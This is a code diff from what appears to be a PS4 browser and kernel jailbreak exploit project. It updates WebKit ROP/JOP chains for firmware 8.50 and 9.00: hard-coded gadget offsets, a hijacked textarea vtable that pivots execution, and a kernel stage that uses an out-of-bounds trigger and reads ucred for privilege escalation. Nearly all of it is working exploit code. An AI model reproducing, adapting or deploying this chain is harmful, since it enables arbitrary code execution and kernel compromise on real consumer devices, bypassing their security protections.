@@ -1217,12 +1219,10 @@ async function kexec_payload(kchain, sd, mmap_area, scratch) {
|
||||
|
||||
// have the payload return EINVAL for us, read push_ret_einval() for why
|
||||
const EINVAL = 22;
|
||||
// kpatch(kbase, EINVAL, NULL)
|
||||
// kpatch(EINVAL, NULL)
|
||||
kchain.push_gadget('pop rdi; ret');
|
||||
kchain.push_value(kbase);
|
||||
kchain.push_gadget('pop rsi; ret');
|
||||
kchain.push_constant(EINVAL);
|
||||
kchain.push_gadget('pop rdx; ret');
|
||||
kchain.push_gadget('pop rsi; ret');
|
||||
kchain.push_constant(0);
|
||||
|
||||
push_krop_end(kchain);
|
||||
@@ -1267,7 +1267,7 @@ async function kexploit() {
|
||||
rax_ptrs,
|
||||
scratch,
|
||||
] = prepare_knote(kchain);
|
||||
const [sd, kretval] = trigger_oob(kchain);
|
||||
const [sd, kretval] = trigger_oob(kchain, mmap_area);
|
||||
|
||||
// offset relative to kernel base
|
||||
const offset_k_socketops_fo_chmod = 0x1a76060;
|
||||
@@ -1276,7 +1276,7 @@ async function kexploit() {
|
||||
|
||||
// setup for fchmod() kernel ROP chain
|
||||
mmap_area.write64(8, jop_buffer);
|
||||
rax_ptrs.write64(0x70, kchain.get_gadget(jop2));
|
||||
rax_ptrs.write64(0x70, kchain.get_gadget(jop3));
|
||||
|
||||
const p_ucred = get_ucred_addr(kchain, sd, mmap_area);
|
||||
debug_log(`p_ucred: ${p_ucred}`);
|
||||
|
||||
+74
-90
@@ -42,7 +42,9 @@ const url = `${origin}:${port}`;
|
||||
|
||||
const syscall_array = [];
|
||||
|
||||
const offset_func_exec = 0x18;
|
||||
const offset_textarea_impl = 0x18;
|
||||
const offset_js_inline_prop = 0x10;
|
||||
|
||||
// WebKit offsets of imported functions
|
||||
const offset_wk_stack_chk_fail = 0x8D8;
|
||||
@@ -75,46 +77,55 @@ let libc_base = null;
|
||||
// Chain implementation based on Chain803. Replaced offsets that changed
|
||||
// between versions. Replaced gadgets that were missing with new ones that
|
||||
// won't change the API.
|
||||
|
||||
//
|
||||
// gadgets for the JOP chain
|
||||
//
|
||||
// Why these JOP chain gadgets are not named jop1-3 and jop2-5 not jop4-7 is
|
||||
// because jop1-5 was the original chain used by the old implementation of
|
||||
// Chain803. Now the sequence is ta_jop1-3 then to jop2-5.
|
||||
//
|
||||
// When the scrollLeft getter native function is called on PS4 8.50, rsi is the
|
||||
// JS wrapper for the WebCore textarea class.
|
||||
const jop1 = `
|
||||
mov rdi, qword ptr [rsi + 0x20]
|
||||
const ta_jop1 = `
|
||||
mov rdi, qword ptr [rsi + 0x18]
|
||||
mov rax, qword ptr [rdi]
|
||||
call qword ptr [rax + 0x28]
|
||||
call qword ptr [rax + 0xb8]
|
||||
`;
|
||||
// Since the method of code redirection we used is via redirecting a call to
|
||||
// jump to our JOP chain, we have the return address of the caller on entry.
|
||||
//
|
||||
// jop1 pushed another object (via the call instruction) but we want no extra
|
||||
// objects between the return address and the rbp that will be pushed by jop3
|
||||
// later. So we pop the return address pushed by jop1.
|
||||
// ta_jop1 pushed another object (via the call instruction) but we want no
|
||||
// extra objects between the return address and the rbp that will be pushed by
|
||||
// jop2 later. So we pop the return address pushed by ta_jop1.
|
||||
//
|
||||
// This will make pivoting back easy, just "leave; ret".
|
||||
const jop2 = `
|
||||
const ta_jop2 = `
|
||||
pop rsi
|
||||
jmp qword ptr [rax + 0x60]
|
||||
`;
|
||||
const ta_jop3 = `
|
||||
mov rdi, qword ptr [rax + 8]
|
||||
mov rax, qword ptr [rdi]
|
||||
jmp qword ptr [rax + 0x68]
|
||||
`;
|
||||
// rbp is now pushed, any extra objects pushed by the call instructions can be
|
||||
// ignored
|
||||
const jop3 = `
|
||||
const jop2 = `
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
mov rax, qword ptr [rdi]
|
||||
call qword ptr [rax + 0x30]
|
||||
`;
|
||||
const jop4 = `
|
||||
const jop3 = `
|
||||
mov rdx, qword ptr [rax + 0x18]
|
||||
mov rax, qword ptr [rdi]
|
||||
call qword ptr [rax + 0x10]
|
||||
`;
|
||||
const jop5 = `
|
||||
const jop4 = `
|
||||
push rdx
|
||||
jmp qword ptr [rax]
|
||||
`;
|
||||
const jop6 = 'pop rsp; ret';
|
||||
const jop5 = 'pop rsp; ret';
|
||||
|
||||
// the ps4 firmware is compiled to use rbp as a frame pointer
|
||||
//
|
||||
@@ -130,11 +141,6 @@ const jop6 = 'pop rsp; ret';
|
||||
// pop rbp
|
||||
const rop_epilogue = 'leave; ret';
|
||||
|
||||
const push_rdx_jmp = `
|
||||
push rdx
|
||||
jmp qword ptr [rax]
|
||||
`;
|
||||
|
||||
const webkit_gadget_offsets = new Map(Object.entries({
|
||||
'pop rax; ret' : 0x000000000001ac7b,
|
||||
'pop rbx; ret' : 0x000000000000c46d,
|
||||
@@ -162,22 +168,23 @@ const webkit_gadget_offsets = new Map(Object.entries({
|
||||
'neg rax; and rax, rcx; ret' : 0x00000000014c5ab4,
|
||||
'adc esi, esi; ret' : 0x0000000000bcfa29,
|
||||
'add rax, rdx; ret' : 0x0000000000d26d4c,
|
||||
'push rsp; jmp qword ptr [rax]' : 0x0000000001e3cb0a,
|
||||
'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x00000000015a74c6,
|
||||
'pop rdi; jmp qword ptr [rax + 0x1d]' : 0x00000000021f4f09,
|
||||
|
||||
'mov qword ptr [rdi], rsi; ret' : 0x000000000018f010,
|
||||
'mov rax, qword ptr [rax]; ret' : 0x000000000003734c,
|
||||
'mov qword ptr [rdi], rax; ret' : 0x000000000001433b,
|
||||
'mov dword ptr [rdi], eax; ret' : 0x0000000000008e7f,
|
||||
'mov rdx, rcx; ret' : 0x0000000000f2c94d,
|
||||
|
||||
[push_rdx_jmp] : 0x00000000021f10fd,
|
||||
[jop2] : 0x00000000011c9df0,
|
||||
[jop3] : 0x0000000000481769,
|
||||
[jop4] : 0x00000000021f10fd,
|
||||
|
||||
[jop1] : 0x00000000002613e8,
|
||||
[jop2] : 0x00000000021f930e,
|
||||
[jop3] : 0x00000000011c9df0,
|
||||
[jop4] : 0x0000000000481769,
|
||||
[jop5] : 0x00000000021f10fd,
|
||||
[jop6] : 0x0000000000073c2b,
|
||||
[ta_jop1] : 0x0000000000c42d34,
|
||||
[ta_jop2] : 0x00000000021f930e,
|
||||
[ta_jop3] : 0x0000000001236532,
|
||||
}));
|
||||
|
||||
const libc_gadget_offsets = new Map(Object.entries({
|
||||
@@ -200,11 +207,15 @@ function get_bases() {
|
||||
libwebkit_base
|
||||
.add(offset_wk_stack_chk_fail)
|
||||
;
|
||||
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
|
||||
const stack_chk_fail_addr = resolve_import(
|
||||
stack_chk_fail_import,
|
||||
true,
|
||||
true
|
||||
);
|
||||
const libkernel_base = find_base(stack_chk_fail_addr, true, true);
|
||||
|
||||
const memcpy_import = libwebkit_base.add(offset_wk_memcpy);
|
||||
const memcpy_addr = resolve_import(memcpy_import);
|
||||
const memcpy_addr = resolve_import(memcpy_import, true, true);
|
||||
const libc_base = find_base(memcpy_addr, true, true);
|
||||
|
||||
return [
|
||||
@@ -229,8 +240,8 @@ class Chain850Base extends ChainBase {
|
||||
this.flag = new Uint8Array(8);
|
||||
this.flag_addr = get_view_vector(this.flag);
|
||||
this.jmp_target = new Uint8Array(0x100);
|
||||
rw.write64(this.jmp_target, 0x1d, this.get_gadget(push_rdx_jmp));
|
||||
rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret'));
|
||||
rw.write64(this.jmp_target, 0x1d, this.get_gadget(jop4));
|
||||
rw.write64(this.jmp_target, 0, this.get_gadget(jop5));
|
||||
|
||||
// for save/restore
|
||||
this.is_saved = false;
|
||||
@@ -449,8 +460,6 @@ class Chain850Base extends ChainBase {
|
||||
this.push_end();
|
||||
this.run();
|
||||
this.clean();
|
||||
|
||||
return this.return_value;
|
||||
}
|
||||
|
||||
syscall(...args) {
|
||||
@@ -462,79 +471,49 @@ class Chain850Base extends ChainBase {
|
||||
this.push_end();
|
||||
this.run();
|
||||
this.clean();
|
||||
|
||||
return this.return_value;
|
||||
}
|
||||
}
|
||||
|
||||
// helper object for ROP
|
||||
const rop_ta = document.createElement('textarea');
|
||||
|
||||
// Chain for PS4 8.50
|
||||
class Chain850 extends Chain850Base {
|
||||
constructor() {
|
||||
super();
|
||||
|
||||
// sizeof JSC:JSObject, the JSCell + the butterfly field
|
||||
const js_size = 0x10;
|
||||
// sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject
|
||||
const js_ta_size = 0x20;
|
||||
// start of the array of inline properties (JSValues)
|
||||
const offset_js_inline_prop = 0x10;
|
||||
// Sizes may vary between webkit versions so we just assume a size
|
||||
// that we think is large enough for all of them.
|
||||
const vtable_size = 0x1000;
|
||||
const webcore_ta_size = 0x180;
|
||||
|
||||
const ta_clone = {};
|
||||
this.ta_clone = ta_clone;
|
||||
const clone_p = mem.addrof(ta_clone);
|
||||
const ta_p = mem.addrof(rop_ta);
|
||||
|
||||
for (let i = js_size; i < js_ta_size; i += 8) {
|
||||
clone_p.write64(i, ta_p.read64(i));
|
||||
}
|
||||
|
||||
const webcore_ta = ta_p.readp(offset_textarea_impl);
|
||||
const m_wrapped_clone = new Uint8Array(
|
||||
make_buffer(webcore_ta, webcore_ta_size)
|
||||
);
|
||||
this.m_wrapped_clone = m_wrapped_clone;
|
||||
|
||||
// Replicate the vtable as much as possible or else the garbage
|
||||
// collector will crash. It uses functions from the vtable.
|
||||
const textarea = document.createElement('textarea');
|
||||
this.textarea = textarea;
|
||||
const js_ta = mem.addrof(textarea);
|
||||
const webcore_ta = js_ta.readp(0x18);
|
||||
this.webcore_ta = webcore_ta;
|
||||
// Only offset 0x1c8 will be used when calling the scrollLeft getter
|
||||
// native function (our tests don't crash).
|
||||
//
|
||||
// There is no need to restore the original vtable pointer later since
|
||||
// it points to a copy with only offset 0x1c8 changed. The scrollLeft
|
||||
// getter is not used by the GC.
|
||||
const vtable_clone = new Uint8Array(
|
||||
make_buffer(webcore_ta.readp(0), vtable_size)
|
||||
);
|
||||
this.vtable_clone = vtable_clone
|
||||
|
||||
clone_p.write64(
|
||||
offset_textarea_impl,
|
||||
get_view_vector(m_wrapped_clone),
|
||||
);
|
||||
rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone));
|
||||
|
||||
clone_p.write64(0, ta_p.read64(0));
|
||||
// This implies we don't need to know the exact size of the vtable and
|
||||
// try to copy it as much as possible to avoid a crash due to missing
|
||||
// vtable entries.
|
||||
//
|
||||
// So the rest of the vtable are free for our use.
|
||||
const vtable = new Uint8Array(0x200);
|
||||
const old_vtable_p = webcore_ta.readp(0);
|
||||
this.vtable = vtable;
|
||||
this.old_vtable_p = old_vtable_p;
|
||||
|
||||
// 0x1c8 is the offset of the scrollLeft getter native function
|
||||
rw.write64(vtable_clone, 0x1c8, this.get_gadget(jop1));
|
||||
rw.write64(vtable, 0x1c8, this.get_gadget(ta_jop1));
|
||||
rw.write64(vtable, 0xb8, this.get_gadget(ta_jop2));
|
||||
rw.write64(vtable, 0x60, this.get_gadget(ta_jop3));
|
||||
|
||||
// for the JOP chain
|
||||
const rax_ptrs = new Uint8Array(0x100);
|
||||
const rax_ptrs_p = get_view_vector(rax_ptrs);
|
||||
this.rax_ptrs = rax_ptrs;
|
||||
|
||||
rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2));
|
||||
rw.write64(rax_ptrs, 0x60, this.get_gadget(jop3));
|
||||
rw.write64(rax_ptrs, 0x30, this.get_gadget(jop4));
|
||||
rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5));
|
||||
rw.write64(rax_ptrs, 0, this.get_gadget(jop6));
|
||||
//rw.write64(rax_ptrs, 8, this.get_gadget(jop2));
|
||||
rw.write64(rax_ptrs, 0x68, this.get_gadget(jop2));
|
||||
rw.write64(rax_ptrs, 0x30, this.get_gadget(jop3));
|
||||
rw.write64(rax_ptrs, 0x10, this.get_gadget(jop4));
|
||||
rw.write64(rax_ptrs, 0, this.get_gadget(jop5));
|
||||
// value to pivot rsp to
|
||||
rw.write64(rax_ptrs, 0x18, this.stack_addr);
|
||||
rw.write64(this.rax_ptrs, 0x18, this.stack_addr);
|
||||
|
||||
const jop_buffer = new Uint8Array(8);
|
||||
const jop_buffer_p = get_view_vector(jop_buffer);
|
||||
@@ -542,7 +521,7 @@ class Chain850 extends Chain850Base {
|
||||
|
||||
rw.write64(jop_buffer, 0, rax_ptrs_p);
|
||||
|
||||
clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p);
|
||||
rw.write64(vtable, 8, jop_buffer_p);
|
||||
}
|
||||
|
||||
run() {
|
||||
@@ -550,8 +529,12 @@ class Chain850 extends Chain850Base {
|
||||
this.check_is_empty();
|
||||
this.check_is_branching();
|
||||
|
||||
// change vtable
|
||||
this.webcore_ta.write64(0, get_view_vector(this.vtable));
|
||||
// jump to JOP chain
|
||||
this.ta_clone.scrollLeft;
|
||||
this.textarea.scrollLeft;
|
||||
// restore vtable
|
||||
this.webcore_ta.write64(0, this.old_vtable_p);
|
||||
}
|
||||
}
|
||||
const Chain = Chain850;
|
||||
@@ -674,12 +657,13 @@ function test_rop(Chain) {
|
||||
const magic = 0x4b435546;
|
||||
rw.write32(chain._return_value, 0, magic);
|
||||
|
||||
const res = chain.syscall('getuid');
|
||||
chain.syscall('getuid');
|
||||
|
||||
debug_log(`return value: ${res}`);
|
||||
if (res.eq(magic)) {
|
||||
debug_log(`return value: ${chain.return_value}`);
|
||||
if (chain.return_value.low() === magic) {
|
||||
die('syscall getuid failed');
|
||||
}
|
||||
}
|
||||
|
||||
debug_log('Chain850');
|
||||
test_rop(Chain);
|
||||
+6
-5
@@ -20,7 +20,7 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
import * as config from '../config.mjs';
|
||||
|
||||
import { Int } from '../module/int64.mjs';
|
||||
import { debug_log, align, die } from '../module/utils.mjs';
|
||||
import { debug_log, die } from '../module/utils.mjs';
|
||||
import { Addr, mem } from '../module/mem.mjs';
|
||||
import { KB, MB } from '../module/constants.mjs';
|
||||
import { ChainBase } from '../module/chain.mjs';
|
||||
@@ -535,7 +535,7 @@ class Chain900 extends Chain900Base {
|
||||
// jump to JOP chain
|
||||
this.textarea.scrollLeft;
|
||||
// restore vtable
|
||||
this.webcore_ta.write64(1, this.old_vtable_p);
|
||||
this.webcore_ta.write64(0, this.old_vtable_p);
|
||||
}
|
||||
}
|
||||
const Chain = Chain900;
|
||||
@@ -545,7 +545,7 @@ function init(Chain) {
|
||||
|
||||
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
|
||||
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
|
||||
init_syscall_array(syscall_array, libkernel_base, 550 * KB);
|
||||
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
||||
debug_log('syscall_array:');
|
||||
debug_log(syscall_array);
|
||||
Chain.init_class(gadgets, syscall_array);
|
||||
@@ -619,7 +619,7 @@ function test_rop(Chain) {
|
||||
die('if branch not taken');
|
||||
}
|
||||
|
||||
const state2 = new Uint8Array(9);
|
||||
const state2 = new Uint8Array(8);
|
||||
debug_log('test if rax != 0');
|
||||
chain.clean();
|
||||
|
||||
@@ -655,7 +655,7 @@ function test_rop(Chain) {
|
||||
chain.clean();
|
||||
// Set the return value to some random value. If the syscall worked, then
|
||||
// it will likely change.
|
||||
const magic = 0x4b4355467;
|
||||
const magic = 0x4b435546;
|
||||
rw.write32(chain._return_value, 0, magic);
|
||||
|
||||
chain.syscall('getuid');
|
||||
@@ -666,4 +666,5 @@ function test_rop(Chain) {
|
||||
}
|
||||
}
|
||||
|
||||
debug_log('Chain900');
|
||||
test_rop(Chain);
|
||||
|
||||
+9
-9
@@ -17,13 +17,13 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// by janisslsm (John) from ps4-dev discord
|
||||
|
||||
import * as config from './config.mjs';
|
||||
import * as config from '../config.mjs';
|
||||
|
||||
import { Int } from './module/int64.mjs';
|
||||
import { debug_log, align, die } from './module/utils.mjs';
|
||||
import { Addr, mem } from './module/mem.mjs';
|
||||
import { KB, MB } from './module/constants.mjs';
|
||||
import { ChainBase } from './module/chain.mjs';
|
||||
import { Int } from '../module/int64.mjs';
|
||||
import { debug_log, die } from '../module/utils.mjs';
|
||||
import { Addr, mem } from '../module/mem.mjs';
|
||||
import { KB, MB } from '../module/constants.mjs';
|
||||
import { ChainBase } from '../module/chain.mjs';
|
||||
|
||||
import {
|
||||
make_buffer,
|
||||
@@ -31,10 +31,10 @@ import {
|
||||
get_view_vector,
|
||||
resolve_import,
|
||||
init_syscall_array,
|
||||
} from './module/memtools.mjs';
|
||||
} from '../module/memtools.mjs';
|
||||
|
||||
import * as rw from './module/rw.mjs';
|
||||
import * as o from './module/offset.mjs';
|
||||
import * as rw from '../module/rw.mjs';
|
||||
import * as o from '../module/offset.mjs';
|
||||
|
||||
const origin = window.origin;
|
||||
const port = '8000';
|
||||
|
||||
@@ -17,13 +17,13 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// by janisslsm (John) and barooney from ps4-dev discord
|
||||
|
||||
import * as config from './config.mjs';
|
||||
import * as config from '../config.mjs';
|
||||
|
||||
import { Int } from './module/int64.mjs';
|
||||
import { debug_log, align, die } from './module/utils.mjs';
|
||||
import { Addr, mem } from './module/mem.mjs';
|
||||
import { KB, MB } from './module/constants.mjs';
|
||||
import { ChainBase } from './module/chain.mjs';
|
||||
import { Int } from '../module/int64.mjs';
|
||||
import { debug_log, die } from '../module/utils.mjs';
|
||||
import { Addr, mem } from '../module/mem.mjs';
|
||||
import { KB, MB } from '../module/constants.mjs';
|
||||
import { ChainBase } from '../module/chain.mjs';
|
||||
|
||||
import {
|
||||
make_buffer,
|
||||
@@ -31,10 +31,10 @@ import {
|
||||
get_view_vector,
|
||||
resolve_import,
|
||||
init_syscall_array,
|
||||
} from './module/memtools.mjs';
|
||||
} from '../module/memtools.mjs';
|
||||
|
||||
import * as rw from './module/rw.mjs';
|
||||
import * as o from './module/offset.mjs';
|
||||
import * as rw from '../module/rw.mjs';
|
||||
import * as o from '../module/offset.mjs';
|
||||
|
||||
const origin = window.origin;
|
||||
const port = '8000';
|
||||
Reference in New Issue
Block a user